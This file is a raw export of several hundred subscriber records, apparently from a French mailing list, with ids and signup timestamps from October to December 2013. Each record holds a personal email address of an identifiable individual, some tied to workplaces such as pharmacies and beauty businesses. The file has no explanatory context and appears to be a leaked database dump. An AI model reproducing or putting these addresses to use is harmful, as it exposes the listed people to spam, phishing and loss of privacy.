+1161;cleoyaah@yahoo.fr;2013-10-16 16:37:37; ; ;0 +1162;jacqueline.bouvard@gmail.com;2013-10-16 18:01:33; ; ;0 +1163;marie.proyart@yahoo.fr;2013-10-16 21:26:59; ; ;0 +1164;BEA3906@HOTMAIL.COM;2013-10-16 22:17:42; ; ;0 +1165;angelique.loques@yahoo.fr;2013-10-16 22:28:59; ; ;0 +1166;niny007@wanadoo.fr;2013-10-16 23:21:40; ; ;0 +1167;fanny.bargoin@gmail.fr;2013-10-16 23:22:21; ; ;0 +1168;anthony.pothier@wanadoo.fr;2013-10-17 08:06:36; ; ;0 +1169;xxakhxx@live.fr;2013-10-17 08:56:40; ; ;0 +1170;dom.oura@orange.fr;2013-10-17 09:10:28; ; ;0 +1171;michele.mougin0209@orange.fr;2013-10-17 09:47:28; ; ;0 +1172;pdasilva@orange.fr;2013-10-17 11:05:54; ; ;0 +1173;j.yellet1@aliceadsl.fr;2013-10-17 11:37:58; ; ;0 +1174;krys713@hotmail.fr;2013-10-17 12:16:12; ; ;0 +1175;familleperetti@hotmail.fr;2013-10-17 13:24:16; ; ;0 +1176;carole.peretti@hilti.com;2013-10-17 13:24:37; ; ;0 +1177;michellieber@sfr.fr;2013-10-17 13:46:31; ; ;0 +1178;felbacqclaire@yahoo.fr;2013-10-17 14:19:42; ; ;0 +1179;scandela@new-sh.com;2013-10-17 14:29:07; ; ;0 +1180;zayane19@gmail.com;2013-10-17 16:16:37; ; ;0 +1181;odile.balourdet@gmail.com;2013-10-17 17:36:55; ; ;0 +1182;patricia.maene@gmail.com;2013-10-17 17:59:18; ; ;0 +1183;carolyn_chambon@yahoo.fr;2013-10-17 19:41:12; ; ;0 +1185;astrid.bayrou@orange.fr;2013-10-17 21:14:27; ; ;0 +1186;elianavb@hotmail.fr;2013-10-18 11:54:47; ; ;0 +1187;manoah.gulrich@gmail.com;2013-10-18 15:32:37; ; ;0 +1188;sev29380@gmail.com;2013-10-18 21:31:06; ; ;0 +1189;linda.henneuse@sfr.fr;2013-10-18 22:29:14; ; ;0 +1190;blemarquis@hotmail.fr;2013-10-18 22:56:52; ; ;0 +1191;amf13011@gmail.com;2013-10-19 09:46:00; ; ;0 +1192;marie.rojat@free.fr;2013-10-19 14:20:55; ; ;0 +1194;jourdoisa@wanadoo.fr;2013-10-19 15:04:32; ; ;0 +1195;panierdelys@yahoo.fr;2013-10-19 16:04:24; ; ;0 +1196;lou.p.84@hotmail.fr;2013-10-19 16:14:12; ; ;0 +1198;la_ptite_nenette_57@hotmail.fr;2013-10-19 17:34:21; ; ;0 +1200;m.by.mag@gmail.com;2013-10-19 23:47:47; ; ;0 +1201;carotibou@gmail.com;2013-10-20 04:02:34; ; ;0 +1202;seriot.fabienne@orange.fr;2013-10-20 07:08:15; ; ;0 +1203;lambert.beatrice@laposte.net;2013-10-20 09:42:50; ; ;0 +1204;lopez.emmanuelle@wanadoo.fr;2013-10-20 10:16:06; ; ;0 +1205;dauvilliers.yolande@wanadoo.fr;2013-10-20 12:32:33; ; ;0 +1206;fabienne.clochard@laposte.net;2013-10-20 15:31:47; ; ;0 +1208;michel.claudette@orange.fr;2013-10-21 11:23:52; ; ;0 +1209;louisederemusat@gmail.com;2013-10-21 11:44:15; ; ;0 +1210;joelle.mury@bbox.fr;2013-10-21 14:26:39; ; ;0 +1211;magalie.blanquart@yopmail.com;2013-10-21 17:14:22; ; ;0 +1212;eric.b.coste@garancia-beauty.com;2013-10-21 17:14:27; ; ;0 +1213;vaness.deoliveira@gmail.com;2013-10-21 20:09:19; ; ;0 +1214;sosophie1968@hotmail.com;2013-10-21 23:47:19; ; ;0 +1215;pierre-jenny@hotmail.com;2013-10-21 23:47:41; ; ;0 +1216;ogeoffray001@rss.fr;2013-10-22 09:50:08; ; ;0 +1217;colonna.line@orange.fr;2013-10-22 14:31:01; ; ;0 +1218;marielaure.lorenz@yahoo.fr;2013-10-22 14:32:04; ; ;0 +1219;filiatre.anne@gmail.com;2013-10-22 14:46:59; ; ;0 +1220;laurencecagnard@hotmail.fr;2013-10-22 14:51:38; ; ;0 +1221;joelle.ponsin@wanadoo.fr;2013-10-22 19:08:29; ; ;0 +1222;mariecamino2001@yahoo.fr;2013-10-23 09:39:29; ; ;0 +1223;sandrine.monod@hotmail.fr;2013-10-23 10:12:03; ; ;0 +1224;b.bournat@free.fr;2013-10-23 19:55:39; ; ;0 +1225;kisslolo@neuf.fr;2013-10-23 21:31:51; ; ;0 +1226;franckinette62@hotmail.fr;2013-10-25 00:52:56; ; ;0 +1227;amel-92@hotmail.fr;2013-10-25 10:21:34; ; ;0 +1228;cecile.gibelin@orange.fr;2013-10-25 11:26:31; ; ;0 +1229;anne.vuarchex@gmail.com;2013-10-25 12:35:14; ; ;0 +1230;stephanie.bastoni@neuf.fr;2013-10-25 17:42:39; ; ;0 +1231;jjthibault@club-internet.fr;2013-10-25 17:42:47; ; ;0 +1232;kikigac@live.fr;2013-10-25 17:42:59; ; ;0 +1233;edhont75@orange.fr;2013-10-25 17:45:16; ; ;0 +1234;aubertin_julia@hotmail.fr;2013-10-25 17:46:32; ; ;0 +1235;christelle.portes@free.fr;2013-10-25 17:48:12; ; ;0 +1236;sandraymeric@gmail.com;2013-10-25 17:50:20; ; ;0 +1238;caro.yaigre@yahoo.fr;2013-10-25 17:56:14; ; ;0 +1239;Stephane.grambert@wanadoo.fr;2013-10-25 18:01:49; ; ;0 +1240;nono.chaoui.m@hotmail.fr;2013-10-25 18:01:54; ; ;0 +1241;noli2009@hotmail.fr;2013-10-25 18:02:14; ; ;0 +1242;Pauline.megemont@live.fr;2013-10-25 18:03:56; ; ;0 +1243;christine.le.coz@gmail.com;2013-10-25 18:04:09; ; ;0 +1244;motek5962@yahoo.fr;2013-10-25 18:05:08; ; ;0 +1245;marietayon@orange.fr;2013-10-25 18:06:59; ; ;0 +1246;aurore.liegeois@gmail.com;2013-10-25 18:07:16; ; ;0 +1247;violette32@hotmail.com;2013-10-25 18:11:13; ; ;0 +1248;fpek@voila.fr;2013-10-25 18:20:42; ; ;0 +1249;fannyjoueuse@live.fr;2013-10-25 18:27:19; ; ;0 +1250;valerie.helm@wanadoo.fr;2013-10-25 18:28:34; ; ;0 +1251;sop.lointier@wanadoo.fr;2013-10-25 18:39:18; ; ;0 +1252;muse993@free.fr;2013-10-25 18:45:04; ; ;0 +1253;gregoire_emmanuel@orange.fr;2013-10-25 18:45:19; ; ;0 +1254;gigi.borabora@yahoo.fr;2013-10-25 18:49:43; ; ;0 +1255;veronique.debrauwer@sfr.fr;2013-10-25 18:52:47; ; ;0 +1256;mvdw007@hotmail.com;2013-10-25 19:01:37; ; ;0 +1257;emeline_savy@yahoo.fr;2013-10-25 19:01:41; ; ;0 +1258;caty.francou@orange.fr;2013-10-25 19:02:12; ; ;0 +1259;delphboy@gmail.com;2013-10-25 19:22:57; ; ;0 +1260;marie-therese.tempez@orange.fr;2013-10-25 19:36:56; ; ;0 +1261;vetault.frederique@bbox.fr;2013-10-25 19:38:41; ; ;0 +1262;laetitia.fellous@hotmail.fr;2013-10-25 19:41:54; ; ;0 +1263;meotmarie@free.fr;2013-10-25 19:43:05; ; ;0 +1264;eponamorticia@yahoo.fr;2013-10-25 19:49:53; ; ;0 +1265;Angelanacondas@hotmail.fr;2013-10-25 19:52:09; ; ;0 +1266;p.balsan@orange.fr;2013-10-25 19:55:05; ; ;0 +1267;lisa.olivieri@laposte.net;2013-10-25 19:59:55; ; ;0 +1268;valloire.michel@orange.fr;2013-10-25 20:00:00; ; ;0 +1269;mila.80@hotmail.fr;2013-10-25 20:46:51; ; ;0 +1271;punkesse@hotmail.fr;2013-10-25 21:12:54; ; ;0 +1272;aline291280@aol.com;2013-10-25 21:13:54; ; ;0 +1273;karine.roumens@sfr.fr;2013-10-25 21:19:36; ; ;0 +1274;nalakali@hotmail.com;2013-10-25 21:19:48; ; ;0 +1275;julieoumomo@hotmail.fr;2013-10-25 21:26:00; ; ;0 +1276;florence.froment@aliceadsl.fr;2013-10-25 21:30:40; ; ;0 +1277;ursulet.erick@neuf.fr;2013-10-25 21:44:39; ; ;0 +1278;natdan59@live.fr;2013-10-25 22:04:51; ; ;0 +1279;sabinegueibe@hotmail.com;2013-10-25 22:12:57; ; ;0 +1280;mjhautbergue@wanadoo.fr;2013-10-25 22:15:27; ; ;0 +1281;julitte07@orange.fr;2013-10-25 22:40:37; ; ;0 +1282;mf.lozach@wanadoo.fr;2013-10-25 22:44:21; ; ;0 +1283;valerie.bellair.laville@gmail.com;2013-10-25 22:44:46; ; ;0 +1284;latitefee54540@hotmail.fr;2013-10-25 22:59:00; ; ;0 +1285;seculais@west-telecom.com;2013-10-25 22:59:49; ; ;0 +1286;Benedicte.terzian@free.fr;2013-10-25 23:45:48; ; ;0 +1287;claupat216@free.fr;2013-10-25 23:52:42; ; ;0 +1288;lisa.levi88@gmail.com;2013-10-26 00:55:00; ; ;0 +1289;jessietriplet@yahoo.fr;2013-10-26 01:09:08; ; ;0 +1290;sarahlan71@gmail.com;2013-10-26 01:36:40; ; ;0 +1292;juliettesalignac@gmail.com;2013-10-26 05:04:49; ; ;0 +1293;nathaliefast@hotmail.com;2013-10-26 08:02:48; ; ;0 +1294;sylure98@gmail.com;2013-10-26 09:02:23; ; ;0 +1295;Lydie.mathurin.d@gmail.com;2013-10-26 09:14:50; ; ;0 +1296;s.goto@free.fr;2013-10-26 10:06:40; ; ;0 +1297;couetmarie@orange.fr;2013-10-26 10:11:06; ; ;0 +1298;estelleadoud@hotmail.fr;2013-10-26 10:11:47; ; ;0 +1299;cindy.moussaoui@pandora.be;2013-10-26 10:43:12; ; ;0 +1300;Atine-30@live.fr;2013-10-26 12:15:15; ; ;0 +1301;germainviolette@yahoo.fr;2013-10-26 13:19:02; ; ;0 +1302;magali.pons18@orange.fr;2013-10-26 13:19:51; ; ;0 +1303;mamanprendsoindelle@gmail.com;2013-10-26 15:51:14; ; ;0 +1304;loffelga@gmail.com;2013-10-26 15:51:22; ; ;0 +1305;ashleylirus@hotmail.fr;2013-10-26 15:51:34; ; ;0 +1306;tati240@hotmail.com;2013-10-26 17:29:55; ; ;0 +1307;lamendin_aur@yahoo.fr;2013-10-26 18:48:53; ; ;0 +1308;melanie.devaux@live.fr;2013-10-26 19:26:45; ; ;0 +1309;vlongeard@yahoo.fr;2013-10-27 08:24:06; ; ;0 +1310;angelongles@yahoo.fr;2013-10-27 09:20:17; ; ;0 +1311;sophiebeautyvaucluse@gmail.com;2013-10-27 10:48:42; ; ;0 +1312;sosolanni@gmail.com;2013-10-27 10:48:56; ; ;0 +1313;baguecalais@aol.com;2013-10-27 10:56:09; ; ;0 +1315;shouika-xfashionx@hotmail.fr;2013-10-27 11:39:01; ; ;0 +1316;chantal.ognier@gmail.com;2013-10-27 12:47:52; ; ;0 +1317;melles.0512@hotmail.com;2013-10-27 12:57:43; ; ;0 +1318;lyline036@gmail.com;2013-10-27 13:36:03; ; ;0 +1319;magali.coeur@free.fr;2013-10-27 13:59:37; ; ;0 +1320;mido.briand@gmail.com;2013-10-27 14:50:00; ; ;0 +1321;chabas.manon@yahoo.com;2013-10-27 14:56:55; ; ;0 +1322;magalimontaud@yahoo.fr;2013-10-27 15:03:19; ; ;0 +1323;chbibollet@hotmail.com;2013-10-27 15:41:21; ; ;0 +1324;jksb@voila.fr;2013-10-27 16:33:12; ; ;0 +1325;emeline.esthetique@laposte.net;2013-10-27 17:29:10; ; ;0 +1326;anais.martin24@free.fr;2013-10-27 17:31:07; ; ;0 +1327;josettepotier@hotmail.com;2013-10-27 18:38:10; ; ;0 +1328;koryne.consortium@laposte.net;2013-10-27 19:06:29; ; ;0 +1329;cderobert@sfr.fr;2013-10-27 20:08:00; ; ;0 +1330;sandgermain@orange.fr;2013-10-27 22:02:06; ; ;0 +1331;odilenzb@gmail.com;2013-10-27 23:29:30; ; ;0 +1332;pour.etre.belle.blog@gmail.com;2013-10-28 09:12:43; ; ;0 +1333;svt.pietrera@laposte.net;2013-10-28 09:35:39; ; ;0 +1334;stephanieblanchet@hotmail.com;2013-10-28 09:48:27; ; ;0 +1335;nathalie.giubilei@free.fr;2013-10-28 10:46:56; ; ;0 +1336;charlotte.fichot@orange.fr;2013-10-28 12:19:15; ; ;0 +1337;agnes.fichot@nordnet.fr;2013-10-28 12:19:42; ; ;0 +1338;marjory.leroux@gmail.com;2013-10-28 13:26:56; ; ;0 +1339;lysiane.vallet@skynet.be;2013-10-28 13:50:01; ; ;0 +1340;miss_cilou@hotmail.fr;2013-10-28 16:56:01; ; ;0 +1341;lizlyvantu@hotmail.fr;2013-10-28 17:44:12; ; ;0 +1342;boizot.bernard@neuf.fr;2013-10-28 19:03:50; ; ;0 +1344;justine.ploux@gmail.com;2013-10-28 21:53:53; ; ;0 +1345;raphael.leroy@nordnet.fr;2013-10-29 08:18:40; ; ;0 +1346;didier.bourgeois24@wanadoo.fr;2013-10-29 09:30:03; ; ;0 +1349;lamrani.rim@gmail.com;2013-10-29 11:35:22; ; ;0 +1350;katty_6@hotmail.fr;2013-10-29 12:20:11; ; ;0 +1351;sylvievillard@sfr.fr;2013-10-29 12:21:27; ; ;0 +1352;jacqueline.salvatori-lods@wanadoo.fr;2013-10-29 12:22:34; ; ;0 +1354;lafeeaurely@hotmail.fr;2013-10-29 13:23:37; ; ;0 +1355;sarah.guerguet@laposte.net;2013-10-29 20:16:46; ; ;0 +1356;titi_69200@yahoo.fr;2013-10-29 21:05:20; ; ;0 +1357;jessica.giacalone80@gmail.com;2013-10-30 08:12:32; ; ;0 +1358;jp.boudou0014@orange.fr;2013-10-30 15:02:07; ; ;0 +1359;nathaliem0383@orange.fr;2013-10-30 17:00:26; ; ;0 +1360;segoleneetsebastien@gmail.com;2013-10-30 21:35:46; ; ;0 +1361;maurice.nervet@wanadoo.fr;2013-10-31 13:36:36; ; ;0 +1362;s.treuil@orange.fr;2013-10-31 17:50:23; ; ;0 +1363;kokeshi17@gmail.com;2013-10-31 18:38:32; ; ;0 +1364;morgan33fh@orange.fr;2013-10-31 21:50:33; ; ;0 +1365;chriserico2008@hotmail.fr;2013-11-01 07:11:54; ; ;0 +1366;isagimel@mac.com;2013-11-01 10:32:04; ; ;0 +1367;bg.moisan@laposte.net;2013-11-01 11:07:26; ; ;0 +1368;strelita56@hotmail.com;2013-11-01 12:01:58; ; ;0 +1369;vkergot@hotmail.fr;2013-11-01 15:23:34; ; ;0 +1370;litana83@hotmail.fr;2013-11-01 18:05:01; ; ;0 +1371;samia_leshaf@hotmail.fr;2013-11-01 21:29:32; ; ;0 +1372;ilesfidji30@gmail.com;2013-11-01 22:45:04; ; ;0 +1374;tatacoranno@aol.com;2013-11-02 17:16:05; ; ;0 +1375;SPECIALE.K@LIVE.FR;2013-11-02 17:23:49; ; ;0 +1376;m_marie@hotmail.com;2013-11-02 22:48:02; ; ;0 +1377;adeline.richard2@orange.fr;2013-11-02 22:48:42; ; ;0 +1378;julie1810@voila.fr;2013-11-03 08:26:10; ; ;0 +1379;france.carole@only.fr;2013-11-04 00:02:08; ; ;0 +1380;orangebleu06@hotmail.fr;2013-11-04 11:47:15; ; ;0 +1381;patreategui@hotmail.com;2013-11-04 15:12:26; ; ;0 +1382;percassitest@gmail.com;2013-11-04 15:23:24; ; ;0 +1384;caroline.criniere@fleishmaneurope.com;2013-11-04 16:46:50; ; ;0 +1385;marion.moland@gmail.com;2013-11-04 17:32:01; ; ;0 +1386;gegeettete@hotmail.com;2013-11-05 06:54:52; ; ;0 +1387;phie.andrei-simoni@perso.alliadis.net;2013-11-05 15:36:52; ; ;0 +1388;pharmaciedespassons@orange.fr;2013-11-05 15:39:25; ; ;0 +1389;lehegarat-l@orange.fr;2013-11-05 16:09:15; ; ;0 +1390;didinao@wanadoo.fr;2013-11-05 16:13:33; ; ;0 +1391;marzozite@gmail.com;2013-11-05 17:33:44; ; ;0 +1392;locontedith.fred@gmail.com;2013-11-05 18:11:24; ; ;0 +1393;domica08@yahoo.fr;2013-11-06 03:16:21; ; ;0 +1394;stephanie.simon57@orange.fr;2013-11-06 08:36:21; ; ;0 +1395;brigitteraclot83@hotmail.fr;2013-11-06 10:10:34; ; ;0 +1396;m.freitag@sfr.fr;2013-11-06 10:37:44; ; ;0 +1397;laurence.zol@hotmail.fr;2013-11-06 11:52:57; ; ;0 +1398;dila02@HOTMAIL.COM;2013-11-06 13:37:11; ; ;0 +1399;mamzelleboom@gmail.com;2013-11-06 14:14:57; ; ;0 +1400;marian.wolff@laposte.net;2013-11-06 15:52:41; ; ;0 +1401;Lamissleonie@hotmail.fr;2013-11-06 19:46:21; ; ;0 +1402;ingrid.delbauche@gmail.com;2013-11-06 20:00:55; ; ;0 +1403;kizouina@yahoo.fr;2013-11-06 20:25:08; ; ;0 +1404;evelyne.venditti@gmail.com;2013-11-06 22:55:16; ; ;0 +1405;odile_watson@hotmail.com;2013-11-07 17:37:51; ; ;0 +1406;peuriere.laurent@orange.fr;2013-11-07 18:41:43; ; ;0 +1407;delphi29@sfr.fr;2013-11-07 20:23:30; ; ;0 +1408;laurel.1@free.fr;2013-11-07 21:17:56; ; ;0 +1409;perrinanneso@yahoo.fr;2013-11-07 22:09:44; ; ;0 +1410;paulinemails@aliceadsl.fr;2013-11-07 22:15:32; ; ;0 +1412;juliemoukarzel@hotmail.com;2013-11-08 11:08:12; ; ;0 +1413;lyne59170@hotmail.fr;2013-11-08 18:34:30; ; ;0 +1414;chloe.derache@live.fr;2013-11-08 18:48:45; ; ;0 +1415;tavalice@hotmail.fr;2013-11-08 19:09:17; ; ;0 +1416;loaec.eric@wanadoo.fr;2013-11-08 19:44:34; ; ;0 +1417;marie.guirimand@club-internet.fr;2013-11-08 19:50:05; ; ;0 +1418;xkitty-stramberryx@hotmail.fr;2013-11-08 19:50:39; ; ;0 +1419;carine.galy@hotmail.com;2013-11-08 20:50:48; ; ;0 +1420;ludisand30@orange.fr;2013-11-08 20:57:22; ; ;0 +1421;caroline.sire@gmail.com;2013-11-08 21:49:56; ; ;0 +1422;agneslaurencon@live.fr;2013-11-08 22:07:12; ; ;0 +1423;martine_brodard@hotmail.com;2013-11-08 22:25:08; ; ;0 +1424;elamore87@gmail.com;2013-11-08 22:52:49; ; ;0 +1425;nanietresor@sfr.fr;2013-11-08 23:17:46; ; ;0 +1426;juliegros@orange.fr;2013-11-08 23:20:14; ; ;0 +1429;bj.oesch@bluewin.ch;2013-11-09 13:12:58; ; ;0 +1430;pharmaciebazeille@hotmail.fr;2013-11-09 13:29:16; ; ;0 +1431;lichardyketty@gmail.com;2013-11-09 15:38:54; ; ;0 +1432;corinne.maisonneuve@wanadoo.fr;2013-11-09 17:00:58; ; ;0 +1433;cheyenne5@wanadoo.fr;2013-11-09 22:38:37; ; ;0 +1434;amandine.cros@me.com;2013-11-10 01:05:09; ; ;0 +1437;laurence.sanchez11@hotmail.fr;2013-11-10 10:23:38; ; ;0 +1438;combrexelle_angelique@hotmail.com;2013-11-10 20:33:39; ; ;0 +1439;vicky.geeraerts@laposte.net;2013-11-10 21:47:39; ; ;0 +1441;michele.chorda@yahoo.fr;2013-11-11 11:00:42; ; ;0 +1442;marie-jeanne0705@hotmail.fr;2013-11-11 16:25:45; ; ;0 +1443;skyelle@voila.fr;2013-11-11 17:14:52; ; ;0 +1444;eaudoui@yahoo.fr;2013-11-11 18:12:45; ; ;0 +1445;gelb.Melissa@gmail.com;2013-11-11 19:28:46; ; ;0 +1446;nathjeanloui@hotmail.fr;2013-11-11 21:18:16; ; ;0 +1447;mariefrance.laforet@cegetel.net;2013-11-11 22:11:24; ; ;0 +1448;dupont-roy.sandrine@orange.fr;2013-11-12 13:23:34; ; ;0 +1449;alexandre.andco@laposte.net;2013-11-12 16:25:46; ; ;0 +1450;stephfitness@orange.fr;2013-11-12 18:45:06; ; ;0 +1451;fasquel.carine@laposte.net;2013-11-12 22:29:35; ; ;0 +1452;nellymarin1305@gmail.com;2013-11-12 22:32:07; ; ;0 +1453;angora7jd@hotmail.fr;2013-11-13 11:44:11; ; ;0 +1454;ayana_cielo@yahoo.fr;2013-11-13 13:21:52; ; ;0 +1455;ophelie-rivard@live.fr;2013-11-13 13:46:27; ; ;0 +1456;allambert@estvideo.fr;2013-11-13 15:20:08; ; ;0 +1457;aouda972@yahoo.fr;2013-11-13 15:48:31; ; ;0 +1458;mabilde@sfr.fr;2013-11-13 16:36:31; ; ;0 +1459;marieplefranc@aol.com;2013-11-13 18:20:49; ; ;0 +1460;laisdemarie@sfr.fr;2013-11-13 18:47:22; ; ;0 +1461;brigitte.sirvent@hotmail.fr;2013-11-13 19:44:12; ; ;0 +1463;corinneluk@hotmail.fr;2013-11-13 22:13:18; ; ;0 +1464;sophianne.b@me.com;2013-11-13 22:36:49; ; ;0 +1465;fbillard@live.fr;2013-11-14 11:05:14; ; ;0 +1466;Peaudecrocoblog@gmail.com;2013-11-14 13:55:53; ; ;0 +1467;delphine.delayen@orange.fr;2013-11-15 09:46:33; ; ;0 +1468;morizot.veronique@neuf.fr;2013-11-15 11:27:39; ; ;0 +1469;erica.filhiol-milani@laposte.net;2013-11-15 15:45:17; ; ;0 +1470;minimili_22@hotmail.fr;2013-11-15 18:20:39; ; ;0 +1471;sandrine.lessentiel@skynet.be;2013-11-15 19:50:40; ; ;0 +1472;petite_popo29@hotmail.fr;2013-11-15 22:08:49; ; ;0 +1473;laetitia.mi22@orange.fr;2013-11-15 23:58:06; ; ;0 +1474;sdavinblanc@gmail.com;2013-11-16 02:16:10; ; ;0 +1475;monique.ortiz2@free.fr;2013-11-16 10:43:06; ; ;0 +1476;bezaultstephanie@yahoo.fr;2013-11-16 11:44:11; ; ;0 +1477;angelmod@hotmail.fr;2013-11-16 18:36:39; ; ;0 +1478;lydi.kler@orange.fr;2013-11-16 21:22:12; ; ;0 +1480;ndie@orange.fr;2013-11-17 08:50:30; ; ;0 +1481;france.kubler@gmail.com;2013-11-17 11:39:18; ; ;0 +1482;budhabay@hotmail.fr;2013-11-17 13:17:28; ; ;0 +1483;mano.r@orange.fr;2013-11-17 14:41:33; ; ;0 +1484;sersar.insaf@gmail.com;2013-11-17 15:01:16; ; ;0 +1485;raymonde.cullus@gmail.com;2013-11-17 15:05:10; ; ;0 +1486;ludeleo@orange.fr;2013-11-17 15:32:56; ; ;0 +1487;julie.dubois1987@gmail.com;2013-11-17 15:56:43; ; ;0 +1488;max.darcis@gmail.com;2013-11-17 16:58:10; ; ;0 +1489;hirsoux.c@gmail.com;2013-11-17 17:45:40; ; ;0 +1490;martine.taussac@live.fr;2013-11-17 20:12:06; ; ;0 +1491;delavegateam@hotmail.com;2013-11-17 20:24:22; ; ;0 +1492;laurent.louis11@wanadoo.fr;2013-11-17 20:30:30; ; ;0 +1493;carolemystere@hotmail.fr;2013-11-17 21:42:32; ; ;0 +1494;sarah.goyon@orange.fr;2013-11-17 21:45:23; ; ;0 +1495;angie1111@hotmail.fr;2013-11-18 09:38:08; ; ;0 +1496;dubreuilmuriel@hotmail.fr;2013-11-18 13:38:37; ; ;0 +1497;christelle.choux@hotmail.fr;2013-11-18 16:30:00; ; ;0 +1498;Valerie.lucas@cegetel.net;2013-11-18 19:29:19; ; ;0 +1499;cathy24.jamoulle@hotmail.com;2013-11-19 09:34:06; ; ;0 +1500;veronique.spiteri@sfr.fr;2013-11-19 16:20:48; ; ;0 +1501;monica.mantilleri@hotmail.fr;2013-11-19 16:51:03; ; ;0 +1502;cruzda74@gmail.com;2013-11-19 22:24:17; ; ;0 +1503;horizongles@orange.fr;2013-11-20 11:06:35; ; ;0 +1504;cleopatre-12@hotmail.fr;2013-11-20 11:22:34; ; ;0 +1505;Nasiba.merouane@laposte.net;2013-11-20 13:00:10; ; ;0 +1506;philippe.neveu21@wanadoo.fr;2013-11-20 17:18:23; ; ;0 +1507;lasuite25@gmail.com;2013-11-20 18:48:35; ; ;0 +1508;meg672@hotmail.fr;2013-11-20 20:39:28; ; ;0 +1509;sandyb38130@hotmail.fr;2013-11-20 21:42:52; ; ;0 +1511;letigrouli@gmail.com;2013-11-21 12:56:34; ; ;0 +1512;a.gossiaux@hotmail.com;2013-11-21 16:20:36; ; ;0 +1513;klouchet@hotmail.fr;2013-11-21 18:18:41; ; ;0 +1514;therese.31@orange.fr;2013-11-21 21:57:43; ; ;0 +1515;adalencon@laposte.net;2013-11-22 09:19:28; ; ;0 +1516;julie.delporte@lexel.fr;2013-11-22 09:49:30; ; ;0 +1518;raymonde.lehmann@icloud.com;2013-11-22 12:03:32; ; ;0 +1519;profelsafigueiredo@gmail.com;2013-11-22 12:11:01; ; ;0 +1520;bea.pere67@hotmail.com;2013-11-22 21:52:21; ; ;0 +1521;laurenceTbis@gmail.com;2013-11-23 09:30:05; ; ;0 +1522;marianne.arsouze@wanadoo.fr;2013-11-23 11:00:19; ; ;0 +1523;aline.contezac@yahoo.fr;2013-11-23 12:41:17; ; ;0 +1524;maria.avdonina@gmail.com;2013-11-23 15:34:52; ; ;0 +1525;agnes02@libertysurf.fr;2013-11-23 17:57:01; ; ;0 +1526;mfrancisca.murillo@gmail.com;2013-11-23 22:42:54; ; ;0 +1527;andesnou@gmail.com;2013-11-23 23:38:42; ; ;0 +1528;noelle_lemoine@yahoo.fr;2013-11-24 00:53:37; ; ;0 +1529;florence.portelli@orange.fr;2013-11-24 08:51:46; ; ;0 +1530;henda2@wanadoo.fr;2013-11-24 11:48:56; ; ;0 +1531;weber.pascale@free.fr;2013-11-24 14:30:39; ; ;0 +1532;nschott@dartybox.com;2013-11-24 16:59:54; ; ;0 +1533;ptitemisslilie@hotmail.fr;2013-11-24 17:21:10; ; ;0 +1534;uramarovelo@gmail.com;2013-11-24 17:38:25; ; ;0 +1535;yogacy3@yahoo.fr;2013-11-24 19:42:43; ; ;0 +1536;erica.chatillon@orange.fr;2013-11-24 20:28:23; ; ;0 +1537;stephane-vanherrewege@hotmail.fr;2013-11-24 20:30:22; ; ;0 +1538;victoria.campanile@cegetel.net;2013-11-24 20:36:29; ; ;0 +1539;mystic__55@live.fr;2013-11-24 20:39:10; ; ;0 +1540;brigitte.cucherat-fleury@wanadoo.fr;2013-11-25 22:06:03; ; ;0 +1541;jebussiere@modulonet.fr;2013-11-26 11:19:39; ; ;0 +1542;emilovi@me.com;2013-11-26 13:21:20; ; ;0 +1543;melmarmin@hotmail.fr;2013-11-26 18:39:27; ; ;0 +1544;franck.motte2@wanadoo.fr;2013-11-26 19:37:52; ; ;0 +1546;luciab77@hotmail.com;2013-11-27 14:12:41; ; ;0 +1547;docbib@sfr.fr;2013-11-27 18:33:34; ; ;0 +1548;emilie.brinette@gmail.com;2013-11-27 18:38:51; ; ;0 +1549;fwdj@msn.com;2013-11-28 16:02:19; ; ;0 +1550;lena697@live.fr;2013-11-28 17:53:00; ; ;0 +1551;2163m.sdruonmarechal@laposte.net;2013-11-28 18:30:18; ; ;0 +1552;murielmarc@hotmail.fr;2013-11-28 20:16:54; ; ;0 +1553;cafou_fr2000@yahoo.fr;2013-11-28 21:30:49; ; ;0 +1554;alaindanaux@free.fr;2013-11-29 19:05:09; ; ;0 +1555;patricia.crauser66@orange.fr;2013-11-29 20:23:52; ; ;0 +1556;v.petrus@orange.fr;2013-11-29 20:55:49; ; ;0 +1557;monicajrr@hotmail.com;2013-11-30 01:26:43; ; ;0 +1559;gautiernathalie_fr@yahoo.fr;2013-11-30 13:53:02; ; ;0 +1560;mazzocco_sandrine@orange.fr;2013-11-30 14:04:31; ; ;0 +1561;muguette.grebil@sfr.fr;2013-11-30 15:03:55; ; ;0 +1562;a-s.nicolai@hotmail.fr;2013-11-30 23:01:41; ; ;0 +1563;aureliaserenne@gmail.com;2013-12-01 12:17:01; ; ;0 +1564;lindatiti@msn.com;2013-12-01 16:23:07; ; ;0 +1565;carletyves@gmail.com;2013-12-01 18:50:45; ; ;0 +1566;Ginie_rocks@yahoo.de;2013-12-01 20:51:17; ; ;0 +1567;capucine.thierry@gmail.com;2013-12-01 21:56:14; ; ;0 +1568;anne_sophie22@yahoo.com;2013-12-01 22:06:56; ; ;0 +1569;mathilde.peyron@orange.fr;2013-12-01 23:11:13; ; ;0 +1570;elebrat@cqmasso.com;2013-12-02 15:08:49; ; ;0 +1571;a.chimenes@free.fr;2013-12-02 17:23:02; ; ;0 +1572;praudn@gmail.com;2013-12-02 18:03:28; ; ;0 +1573;clementiiine.m@hotmail.fr;2013-12-02 19:21:40; ; ;0 +1574;sylvie.py32@orange.fr;2013-12-03 09:56:13; ; ;0 +1575;julye02@free.fr;2013-12-03 10:01:33; ; ;0 +1576;aurelielambin@voila.fr;2013-12-03 11:12:16; ; ;0 +1577;an_loes@yahoo.fr;2013-12-03 15:05:29; ; ;0 +1578;nijiaqi87@gmail.com;2013-12-03 16:43:25; ; ;0 +1579;m.baume@laposte.net;2013-12-03 18:53:53; ; ;0 +1581;rainbow352009@live.fr;2013-12-03 19:02:04; ; ;0 +1582;carole.allione@gmail.com;2013-12-03 20:16:05; ; ;0 +1583;aude.chopard@neuf.fr;2013-12-03 22:13:54; ; ;0 +1584;mailys.hily1403@gmail.com;2013-12-03 23:15:25; ; ;0 +1585;vialleisa@orange.fr;2013-12-04 06:32:37; ; ;0 +1586;laurine001@hotmail.com;2013-12-04 09:41:10; ; ;0 +1587;misskittin123@hotmail.com;2013-12-04 09:46:01; ; ;0 +1588;goulian.morgane@neuf.fr;2013-12-04 10:21:39; ; ;0 +1589;angelonia83@gmail.com;2013-12-04 10:39:29; ; ;0 +1590;bassieuxcarole@orange.fr;2013-12-04 10:45:54; ; ;0 +1591;alice.fournil@gmail.com;2013-12-04 11:06:17; ; ;0 +1592;flore_89@hotmail.com;2013-12-04 11:40:49; ; ;0 